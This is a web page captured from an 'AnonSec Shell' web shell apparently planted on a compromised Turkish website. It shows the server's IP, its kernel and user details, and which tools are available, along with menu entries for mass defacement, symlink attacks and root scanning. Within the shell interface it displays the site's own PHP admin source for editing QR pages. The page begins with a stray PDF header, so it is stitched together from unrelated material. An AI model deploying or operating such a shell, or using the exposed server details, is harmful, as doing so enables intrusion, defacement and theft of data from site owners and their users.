%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.24   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/admin/qr-update.php
<?php
include 'lib/include.php';

// Fetch the QR details based on the ID
$qr_id = intval($_GET['id']);
$qr_query = $ceha->query("SELECT * FROM tbl_qr WHERE id = $qr_id");
$qr_details = $qr_query->fetch_assoc();

// Fetch categories
$select_category = $ceha->query("SELECT * FROM tbl_qr_category");

$categories = [];
while ($category = $select_category->fetch_assoc()) {
    $categories[] = $category;
}

// Function to build the category tree
function buildCategoryTree(array $categories, $parent_id = 0) {
    $branch = [];
    foreach ($categories as $category) {
        if ($category['parent_id'] == $parent_id) {
            $children = buildCategoryTree($categories, $category['id']);
            if ($children) {
                $category['children'] = $children;
            }
            $branch[] = $category;
        }
    }
    return $branch;
}

$category_tree = buildCategoryTree($categories);

// Fetch gallery images
$gallery_query = $ceha->query("SELECT * FROM tbl_qr_gallery WHERE qr_id = $qr_id");
$gallery_images = [];
while ($row = $gallery_query->fetch_assoc()) {
    $gallery_images[] = $row;
}

include 'header.php';
?>
<div class="container">
	<div class="row align-items-center mb-3">
		<div class="col-6">
			<div class="row">
				<div class="col-6">
					<a href="qr-list.php">
						<button type="button" class="btn btn-primary"><i class="mdi mdi-arrow-left"></i>Tüm Sayfalar</button>
					</a>
				</div>
			</div>
		</div>
		<div class="col-6 text-right">
			<a href="https://cehaburo.com/qr-screen_2.php?id=<?php echo $qr_id; ?>" target="_blank">
				<button class="btn btn-outline-primary" style="width: 200px;">QR Sayfaya Git</button>
			</a>
			<button type="submit" form="qrForm" class="btn btn-primary" style="width: 200px;">Güncelle</button>
		</div>
	</div>
	<div class="row">
		<div class="col-md-6 grid-margin stretch-card">
			<div class="card">
				<div class="card-body">
					<form id="qrForm" action="dba/qr-update.php" method="post" enctype="multipart/form-data" class="forms-sample">
						<input type="hidden" name="id" value="<?php echo $qr_details['id']; ?>">
						<input type="hidden" name="pdf_url_hidden" id="pdf_url_hidden" value="<?php echo $qr_details['pdf_url']; ?>">
						<div class="form-group">
							<label>Başlık</label>
							<input type="text" class="form-control" name="title" value="<?php echo htmlspecialchars($qr_details['title'], ENT_QUOTES, 'UTF-8'); ?>">
						</div>
						<div class="form-group">
							<label>Alt Başlık</label>
							<input type="text" class="form-control" name="alt_title" value="<?php echo htmlspecialchars($qr_details['alt_title'], ENT_QUOTES, 'UTF-8'); ?>">
						</div>
						<div class="form-group">
							<label>Kategori</label>
							<select class="form-control" name="category_id">
								<option value="">Kategori Seçiniz</option>
                                <?php
                                function renderCategoryOptions($categories, $level = 0, $current_category_id = null) {
                                    foreach ($categories as $category) {
                                        $selected = $category['id'] == $current_category_id ? 'selected' : '';
                                        echo '<option value="' . htmlspecialchars($category['id'], ENT_QUOTES, 'UTF-8') . '" ' . $selected . '>';
                                        echo str_repeat('&nbsp;', $level * 4) . htmlspecialchars($category['name'], ENT_QUOTES, 'UTF-8');
                                        echo '</option>';
                                        if (isset($category['children'])) {
                                            renderCategoryOptions($category['children'], $level + 1, $current_category_id);
                                        }
                                    }
                                }

                                renderCategoryOptions($category_tree, 0, $qr_details['category_id']);
                                ?>
							</select>
						</div>
						<div class="form-group">
							<label>Video Embed</label>
							<textarea class="form-control" name="video_url"><?php echo htmlspecialchars($qr_details['video_url'], ENT_QUOTES, 'UTF-8'); ?></textarea>
						</div>
						<div class="form-group">
							<label>Galeri</label>
							<div id="gallery" class="dropzone" style="border: 1px dashed #cdd4e0; padding: 20px;">
								<div class="dz-message">Fotoğraf yükle</div>
							</div>
						</div>
					</form>
				</div>
			</div>
		</div>
		<div class="col-md-6 grid-margin stretch-card">
			<div class="card">
				<div class="card-body">
					<label>Teknik Döküman</label>
					<div id="pdfDropArea" style="border: 1px dashed #cdd4e0; padding: 20px; text-align: center;">
						Teknik döküman yükle
						<input type="file" id="pdfFile" name="pdf_url" accept="application/pdf" class="form-control-file" style="display: none;">
					</div>
					<div id="pdfLoader" class="d-flex align-items-center justify-content-center" style="display: none !important;">
						<div class="spinner-border text-primary" role="status">
							<span class="sr-only">Loading...</span>
						</div>
					</div>
					<div id="pdfPreview" style="margin-top: 10px; max-height: 600px; overflow-y: auto;"></div>
					<div id="pdfControls" style="display: none; margin-top: 10px;">
						<button type="button" id="prevPage" class="btn btn-primary btn-icon"><i class="mdi mdi-arrow-left"></i></button>
						<button type="button" id="nextPage" class="btn btn-primary btn-icon"><i class="mdi mdi-arrow-right"></i></button>
						<span>Sayfa: <span id="pageNum"></span> / <span id="pageCount"></span></span>
						<button type="button" id="removePdf" class="btn btn-primary btn-icon"><i class="mdi mdi-delete"></i></button>
					</div>
				</div>
			</div>
		</div>
	</div>
</div>

<?php include 'footer.php'; ?>

<!-- Add custom styles for 16:9 aspect ratio -->
<style>
    .dropzone .dz-preview .dz-image {
        width: 100%;
        padding-top: 56.25%; /* 16:9 aspect ratio */
        position: relative;
    }
    .dropzone .dz-preview .dz-image img {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        object-fit: cover;
    }

    #gallery {
        position: relative;
    }

    #gallery .dz-message {
        display: flex;
        align-items: center;
        justify-content: center;
        height: 100%;
        width: 100%;
        font-size: 14px;
        color: #1c273c;
    }

    .dropzone.dz-started .dz-message {
        display: none !important;
    }

	#pdfDropArea {
        display: flex;
        align-items: center;
        justify-content: center;
        width: 100%;
        font-size: 14px;
        color: #1c273c;
	}

	#pdfDropArea:hover {
        cursor: pointer;
	}
</style>

<!-- Include Dropzone.js and Sortable.js libraries -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.7.2/min/dropzone.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.7.2/min/dropzone.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.14.0/Sortable.min.js"></script>

<!-- Include PDF.js library -->
<script src="https://cdn.jsdelivr.net/npm/pdfjs-dist@2.8.335/build/pdf.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/pdfjs-dist@2.8.335/build/pdf.worker.min.js"></script>

<script>
  Dropzone.autoDiscover = false;

  var galleryDropzone = new Dropzone("#gallery", {
    url: "dba/qr-upload.php",
    paramName: "file",
    addRemoveLinks: true,
    thumbnailWidth: null, // Set to null to maintain aspect ratio
    thumbnailHeight: null, // Set to null to maintain aspect ratio
    dictDefaultMessage: "Fotoğraf yükle",
    dictFallbackMessage: "Tarayıcınız dosya yüklemeyi desteklemiyor.",
    dictFallbackText: "Lütfen eski usul formu kullanarak dosyalarınızı yükleyin.",
    dictFileTooBig: "Dosya çok büyük ({{filesize}}MB). Maksimum boyut: {{maxFilesize}}MB.",
    dictInvalidFileType: "Bu dosya tipini yükleyemezsiniz.",
    dictResponseError: "Sunucu hatası. Kod: {{statusCode}}.",
    dictCancelUpload: "Yüklemeyi iptal et",
    dictCancelUploadConfirmation: "Yüklemeyi iptal etmek istediğinize emin misiniz?",
    dictRemoveFile: "Sil",
    dictRemoveFileConfirmation: null,
    dictMaxFilesExceeded: "Daha fazla dosya yükleyemezsiniz.",
    previewTemplate: `
        <div class="dz-preview dz-file-preview">
            <div class="dz-image"><img data-dz-thumbnail /></div>
            <div class="dz-details">
                <div class="dz-size"><span data-dz-size></span></div>
                <div class="dz-filename"><span data-dz-name></span></div>
            </div>
            <div class="dz-progress"><span class="dz-upload" data-dz-uploadprogress></span></div>
            <div class="dz-success-mark"><span>✔</span></div>
            <div class="dz-error-mark"><span>✘</span></div>
            <div class="dz-error-message"><span data-dz-errormessage></span></div>
        </div>`,
    success: function(file, response) {
      console.log('Upload response:', response);
      var filePath;

      try {
        if (typeof response === 'string') {
          response = JSON.parse(response);
        }
        filePath = response.filePath;
        console.log('File path:', filePath);

        var input = document.createElement("input");
        input.type = "hidden";
        input.name = "gallery_images[]";
        input.value = filePath;
        input.classList.add("gallery-hidden-input");
        file.previewElement.appendChild(input);
      } catch (e) {
        console.error('Error parsing response:', e);
      }
    },
    error: function(file, response) {
      console.error('Upload error:', response);
    },
    removedfile: function(file) {
      if (file.previewElement) {
        var input = file.previewElement.querySelector(".gallery-hidden-input");
        var filePath = input ? input.value : null;

        if (filePath) {
          fetch('dba/qr-delete.php', {
            method: 'POST',
            headers: {
              'Content-Type': 'application/json'
            },
            body: JSON.stringify({ filePath: filePath })
          })
            .then(response => response.json())
            .then(data => {
              if (data.success) {
                console.log('File removed:', filePath);
              } else {
                console.error('Error removing file:', data.error);
              }
            })
            .catch(error => console.error('Error:', error));
        }

        file.previewElement.parentNode.removeChild(file.previewElement);
      }
    },
    init: function() {
      this.on("addedfile", function() {
        if (this.files.length === 1) {
          this.element.classList.add("dz-started");
        }
      });
      this.on("removedfile", function() {
        if (this.files.length === 0) {
          this.element.classList.remove("dz-started");
        }
      });
    }
  });

  // Add existing images to Dropzone
  var existingImages = <?php echo json_encode($gallery_images); ?>;
  existingImages.forEach(function(image) {
    var mockFile = { name: image.image_url, size: 12345, type: 'image/jpeg', accepted: true };
    galleryDropzone.emit("addedfile", mockFile);
    galleryDropzone.emit("thumbnail", mockFile, image.image_url);
    galleryDropzone.emit("complete", mockFile);

    var previewElement = mockFile.previewElement;
    var input = document.createElement("input");
    input.type = "hidden";
    input.name = "gallery_images[]";
    input.value = image.image_url;
    input.classList.add("gallery-hidden-input");
    previewElement.appendChild(input);
  });

  // Ensure the background icon is hidden if there are existing images
  if (existingImages.length > 0) {
    galleryDropzone.element.classList.add("dz-started");
  }

  // Initialize Sortable
  var el = document.getElementById('gallery');
  var sortable = Sortable.create(el, {
    animation: 150
  });

  // Initialize PDF.js
  const pdfjsLib = window['pdfjs-dist/build/pdf'];
  pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://cdn.jsdelivr.net/npm/pdfjs-dist@2.8.335/build/pdf.worker.min.js';

  let pdfDoc = null,
    pageNum = 1,
    pageRendering = false,
    pageNumPending = null,
    pdfCanvas = document.createElement('canvas'),
    ctx = pdfCanvas.getContext('2d');

  const pdfFileInput = document.getElementById('pdfFile');
  const pdfDropArea = document.getElementById('pdfDropArea');
  const pdfLoader = document.getElementById('pdfLoader');
  const pdfControls = document.getElementById('pdfControls');
  const pdfPreview = document.getElementById('pdfPreview');

  pdfFileInput.addEventListener('change', handleFileSelect);
  pdfDropArea.addEventListener('click', () => pdfFileInput.click());
  pdfDropArea.addEventListener('dragover', handleDragOver);
  pdfDropArea.addEventListener('drop', handleFileDrop);

  function handleFileSelect(event) {
    const file = event.target.files[0];
    if (file && file.type === 'application/pdf') {
      const reader = new FileReader();
      reader.onload = function(e) {
        const arrayBuffer = e.target.result;
        uploadPDF(file, arrayBuffer);
      };
      reader.readAsArrayBuffer(file);
    }
  }

  function handleDragOver(event) {
    event.preventDefault();
    event.stopPropagation();
    pdfDropArea.style.borderColor = '#000';
  }

  function handleFileDrop(event) {
    event.preventDefault();
    event.stopPropagation();
    pdfDropArea.style.borderColor = '#ccc';
    const file = event.dataTransfer.files[0];
    if (file && file.type === 'application/pdf') {
      const reader = new FileReader();
      reader.onload = function(e) {
        const arrayBuffer = e.target.result;
        uploadPDF(file, arrayBuffer);
      };
      reader.readAsArrayBuffer(file);
    }
  }

  function uploadPDF(file, arrayBuffer) {
    pdfLoader.style.display = 'block';

    const formData = new FormData();
    formData.append('file', file);

    fetch('dba/qr-upload.php', {
      method: 'POST',
      body: formData
    })
      .then(response => response.json())
      .then(data => {
        pdfLoader.style.display = 'none';
        if (data.filePath) {
          document.getElementById('pdf_url_hidden').value = data.filePath;
          renderPDF(arrayBuffer);
          pdfDropArea.style.display = 'none';
        } else {
          console.error('Error uploading PDF:', data.error);
        }
      })
      .catch(error => {
        pdfLoader.style.display = 'none';
        console.error('Error:', error);
      });
  }

  function renderPDF(arrayBuffer) {
    pdfjsLib.getDocument(arrayBuffer).promise.then(function(pdf) {
      pdfDoc = pdf;
      pdfControls.style.display = 'block';
      document.getElementById('pageCount').textContent = pdf.numPages;
      renderPage(pageNum);
    });
  }

  function renderPage(num) {
    pageRendering = true;
    pdfDoc.getPage(num).then(function(page) {
      const viewport = page.getViewport({ scale: 1.0 });
      pdfCanvas.height = viewport.height;
      pdfCanvas.width = viewport.width;

      const renderContext = {
        canvasContext: ctx,
        viewport: viewport
      };
      const renderTask = page.render(renderContext);

      renderTask.promise.then(function() {
        pageRendering = false;
        if (pageNumPending !== null) {
          renderPage(pageNumPending);
          pageNumPending = null;
        }
        updatePageControls();
      });
    });

    pdfPreview.innerHTML = ''; // Clear previous preview
    pdfPreview.appendChild(pdfCanvas);
    document.getElementById('pageNum').textContent = num;
  }

  function updatePageControls() {
    document.getElementById('prevPage').style.display = pageNum <= 1 ? 'none' : 'inline-block';
    document.getElementById('nextPage').style.display = pageNum >= pdfDoc.numPages ? 'none' : 'inline-block';
  }

  function queueRenderPage(num) {
    if (pageRendering) {
      pageNumPending = num;
    } else {
      renderPage(num);
    }
  }

  document.getElementById('prevPage').addEventListener('click', function() {
    if (pageNum <= 1) {
      return;
    }
    pageNum--;
    queueRenderPage(pageNum);
  });

  document.getElementById('nextPage').addEventListener('click', function() {
    if (pageNum >= pdfDoc.numPages) {
      return;
    }
    pageNum++;
    queueRenderPage(pageNum);
  });

  document.getElementById('removePdf').addEventListener('click', function() {
    pdfDoc = null;
    pageNum = 1;
    pageRendering = false;
    pageNumPending = null;
    pdfFileInput.value = '';
    document.getElementById('pdf_url_hidden').value = '';
    pdfPreview.innerHTML = '';
    pdfControls.style.display = 'none';
    pdfDropArea.style.display = 'block';
  });

  // If there's already a PDF URL, load and render it
  const existingPdfUrl = document.getElementById('pdf_url_hidden').value;
  if (existingPdfUrl) {
    fetch(existingPdfUrl)
      .then(response => response.arrayBuffer())
      .then(arrayBuffer => {
        renderPDF(arrayBuffer);
        document.getElementById('pdfLoader').style.display = 'none !important';
        pdfDropArea.style.display = 'none';
      });
  }
</script>

Anon7 - 2022
AnonSec Team